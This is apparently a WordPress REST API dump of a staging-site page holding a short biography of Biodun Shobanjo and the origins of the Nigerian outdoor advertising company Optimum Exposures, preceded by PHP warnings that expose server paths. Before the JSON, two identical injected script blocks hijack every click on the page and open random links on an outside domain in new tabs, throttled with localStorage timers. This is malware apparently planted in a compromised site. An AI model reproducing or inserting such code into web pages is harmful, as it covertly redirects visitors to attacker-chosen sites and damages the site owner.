<br />
<b>Warning</b>:  The magic method BrunnCore\CPT\PostTypesRegister::__wakeup() must have public visibility in <b>/home/optimumexposures/public_html/staging/wp-content/plugins/brunn-core/post-types/post-types-register.php</b> on line <b>30</b><br />
<br />
<b>Warning</b>:  The magic method BrunnInstagramApi::__wakeup() must have public visibility in <b>/home/optimumexposures/public_html/staging/wp-content/plugins/brunn-instagram-feed/lib/brunn-instagram-api.php</b> on line <b>71</b><br />
<br />
<b>Warning</b>:  The magic method BrunnTwitterApi::__wakeup() must have public visibility in <b>/home/optimumexposures/public_html/staging/wp-content/plugins/brunn-twitter-feed/lib/brunn-twitter-api.php</b> on line <b>95</b><br />
<br />
<b>Warning</b>:  The magic method Vc_Manager::__wakeup() must have public visibility in <b>/home/optimumexposures/public_html/staging/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php</b> on line <b>203</b><br />
<br />
<b>Warning</b>:  The magic method BrunnSelectNamespace\Modules\Header\Lib\HeaderFactory::__wakeup() must have public visibility in <b>/home/optimumexposures/public_html/staging/wp-content/themes/optimum-exposures/framework/modules/header/lib/header-factory.php</b> on line <b>39</b><br />
<br />
<b>Warning</b>:  The magic method BrunnCore\Lib\ShortcodeLoader::__wakeup() must have public visibility in <b>/home/optimumexposures/public_html/staging/wp-content/plugins/brunn-core/lib/shortcode-loader.php</b> on line <b>28</b><br />
<br />
<b>Warning</b>:  The magic method BrunnInstagram\Lib\ShortcodeLoader::__wakeup() must have public visibility in <b>/home/optimumexposures/public_html/staging/wp-content/plugins/brunn-instagram-feed/lib/shortcode-loader.php</b> on line <b>28</b><br />
<br />
<b>Warning</b>:  The magic method BrunnTwitter\Lib\ShortcodeLoader::__wakeup() must have public visibility in <b>/home/optimumexposures/public_html/staging/wp-content/plugins/brunn-twitter-feed/lib/shortcode-loader.php</b> on line <b>28</b><br />
<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script><script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":5863,"date":"2020-12-16T14:34:33","date_gmt":"2020-12-16T14:34:33","guid":{"rendered":"https:\/\/staging.optimumexposures.com\/?page_id=5863"},"modified":"2021-01-07T05:59:32","modified_gmt":"2021-01-07T05:59:32","slug":"our-visionary-founder","status":"publish","type":"page","link":"https:\/\/staging.optimumexposures.com\/?page_id=5863","title":{"rendered":"Biodun Shobanjo"},"content":{"rendered":"<p>[vc_row disable_background_image=&#8221;&#8221; simple_background_image=&#8221;3574&#8243; background_image_position=&#8221;center bottom&#8221;][vc_column][vc_row_inner row_content_width=&#8221;grid&#8221; css=&#8221;.vc_custom_1608129684212{padding-top: 75px !important;padding-bottom: 75px !important;}&#8221;][vc_column_inner width=&#8221;1\/6&#8243;][\/vc_column_inner][vc_column_inner width=&#8221;2\/3&#8243;][vc_column_text]The story of Biodun Shobanjo is a classic one that reiterates achievement through future-determining novelty, enterprise and active distinction. Even though the beginning was faced with lack of support from media-buyers, his exemplary business model and decision is now the focus of esteem and admiration.<\/p>\n<p><strong>Well-rounded Communications Professional<\/strong><\/p>\n<p>Biodun Shobanjo is a Pacesetter and cosmopolitan businessman who started his Communications career with the Nigerian Broadcasting Corporation and worked for 7 years in the Programmes Department. He later joined the Client Service Department of Grant Advertising and was appointed to the Board after about 4 years, and then served as Deputy Managing Director for another 4 years.<\/p>\n<p>A highly trained and experienced man himself, Biodun\u2019s cosmopolitan and firm belief in sound, strategically-focused training has made the Agency a dear partner to many blue-chip companies in Nigeria; and has also bred a fine crop of third-generation communication professionals.<\/p>\n<p><strong>Pioneer of Out-of-Home Advertising in Nigeria<\/strong><\/p>\n<p>In 1984, his vision of establishing an Out-of-Home advertising company that will help revolutionize the relationship between the Nigerian consumer and the advertisers\u2019 brands came to fruition with the birthing of Klinsite Outdoor Services Limited, which later became Optimum Exposures after 8 years. Since then, the company is being managed by a team of dynamic Directors and first-class Managers who have set new standards of OOH advertising excellence in the industry.[\/vc_column_text][\/vc_column_inner][vc_column_inner width=&#8221;1\/6&#8243;][\/vc_column_inner][\/vc_row_inner][\/vc_column][\/vc_row]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>[vc_row disable_background_image=&#8221;&#8221; simple_background_image=&#8221;3574&#8243; background_image_position=&#8221;center bottom&#8221;][vc_column][vc_row_inner row_content_width=&#8221;grid&#8221; css=&#8221;.vc_custom_1608129684212{padding-top: 75px !important;padding-bottom: 75px !important;}&#8221;][vc_column_inner width=&#8221;1\/6&#8243;][\/vc_column_inner][vc_column_inner width=&#8221;2\/3&#8243;][vc_column_text]The story of Biodun Shobanjo is a classic [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":1928,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"full-width.php","meta":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v18.2 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Biodun Shobanjo - Optimum Exposures<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/staging.optimumexposures.com\/?page_id=5863\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Biodun Shobanjo - Optimum Exposures\" \/>\n<meta property=\"og:description\" content=\"[vc_row disable_background_image=&#8221;&#8221; simple_background_image=&#8221;3574&#8243; background_image_position=&#8221;center bottom&#8221;][vc_column][vc_row_inner row_content_width=&#8221;grid&#8221; css=&#8221;.vc_custom_1608129684212{padding-top: 75px !important;padding-bottom: 75px !important;}&#8221;][vc_column_inner width=&#8221;1\/6&#8243;][\/vc_column_inner][vc_column_inner width=&#8221;2\/3&#8243;][vc_column_text]The story of Biodun Shobanjo is a classic [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/staging.optimumexposures.com\/?page_id=5863\" \/>\n<meta property=\"og:site_name\" content=\"Optimum Exposures\" \/>\n<meta property=\"article:modified_time\" content=\"2021-01-07T05:59:32+00:00\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data1\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebSite\",\"@id\":\"https:\/\/staging.optimumexposures.com\/#website\",\"url\":\"https:\/\/staging.optimumexposures.com\/\",\"name\":\"Optimum Exposures\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/staging.optimumexposures.com\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/staging.optimumexposures.com\/?page_id=5863#webpage\",\"url\":\"https:\/\/staging.optimumexposures.com\/?page_id=5863\",\"name\":\"Biodun Shobanjo - Optimum Exposures\",\"isPartOf\":{\"@id\":\"https:\/\/staging.optimumexposures.com\/#website\"},\"datePublished\":\"2020-12-16T14:34:33+00:00\",\"dateModified\":\"2021-01-07T05:59:32+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/staging.optimumexposures.com\/?page_id=5863#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/staging.optimumexposures.com\/?page_id=5863\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/staging.optimumexposures.com\/?page_id=5863#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/staging.optimumexposures.com\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"About Us\",\"item\":\"https:\/\/staging.optimumexposures.com\/?page_id=1739\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Corporate Governance\",\"item\":\"https:\/\/staging.optimumexposures.com\/?page_id=1928\"},{\"@type\":\"ListItem\",\"position\":4,\"name\":\"Biodun Shobanjo\"}]}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Biodun Shobanjo - Optimum Exposures","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/staging.optimumexposures.com\/?page_id=5863","og_locale":"en_US","og_type":"article","og_title":"Biodun Shobanjo - Optimum Exposures","og_description":"[vc_row disable_background_image=&#8221;&#8221; simple_background_image=&#8221;3574&#8243; background_image_position=&#8221;center bottom&#8221;][vc_column][vc_row_inner row_content_width=&#8221;grid&#8221; css=&#8221;.vc_custom_1608129684212{padding-top: 75px !important;padding-bottom: 75px !important;}&#8221;][vc_column_inner width=&#8221;1\/6&#8243;][\/vc_column_inner][vc_column_inner width=&#8221;2\/3&#8243;][vc_column_text]The story of Biodun Shobanjo is a classic [&hellip;]","og_url":"https:\/\/staging.optimumexposures.com\/?page_id=5863","og_site_name":"Optimum Exposures","article_modified_time":"2021-01-07T05:59:32+00:00","twitter_card":"summary_large_image","twitter_misc":{"Est. reading time":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebSite","@id":"https:\/\/staging.optimumexposures.com\/#website","url":"https:\/\/staging.optimumexposures.com\/","name":"Optimum Exposures","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/staging.optimumexposures.com\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/staging.optimumexposures.com\/?page_id=5863#webpage","url":"https:\/\/staging.optimumexposures.com\/?page_id=5863","name":"Biodun Shobanjo - Optimum Exposures","isPartOf":{"@id":"https:\/\/staging.optimumexposures.com\/#website"},"datePublished":"2020-12-16T14:34:33+00:00","dateModified":"2021-01-07T05:59:32+00:00","breadcrumb":{"@id":"https:\/\/staging.optimumexposures.com\/?page_id=5863#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/staging.optimumexposures.com\/?page_id=5863"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/staging.optimumexposures.com\/?page_id=5863#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/staging.optimumexposures.com\/"},{"@type":"ListItem","position":2,"name":"About Us","item":"https:\/\/staging.optimumexposures.com\/?page_id=1739"},{"@type":"ListItem","position":3,"name":"Corporate Governance","item":"https:\/\/staging.optimumexposures.com\/?page_id=1928"},{"@type":"ListItem","position":4,"name":"Biodun Shobanjo"}]}]}},"_links":{"self":[{"href":"https:\/\/staging.optimumexposures.com\/index.php?rest_route=\/wp\/v2\/pages\/5863"}],"collection":[{"href":"https:\/\/staging.optimumexposures.com\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/staging.optimumexposures.com\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/staging.optimumexposures.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/staging.optimumexposures.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=5863"}],"version-history":[{"count":8,"href":"https:\/\/staging.optimumexposures.com\/index.php?rest_route=\/wp\/v2\/pages\/5863\/revisions"}],"predecessor-version":[{"id":5880,"href":"https:\/\/staging.optimumexposures.com\/index.php?rest_route=\/wp\/v2\/pages\/5863\/revisions\/5880"}],"up":[{"embeddable":true,"href":"https:\/\/staging.optimumexposures.com\/index.php?rest_route=\/wp\/v2\/pages\/1928"}],"wp:attachment":[{"href":"https:\/\/staging.optimumexposures.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=5863"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}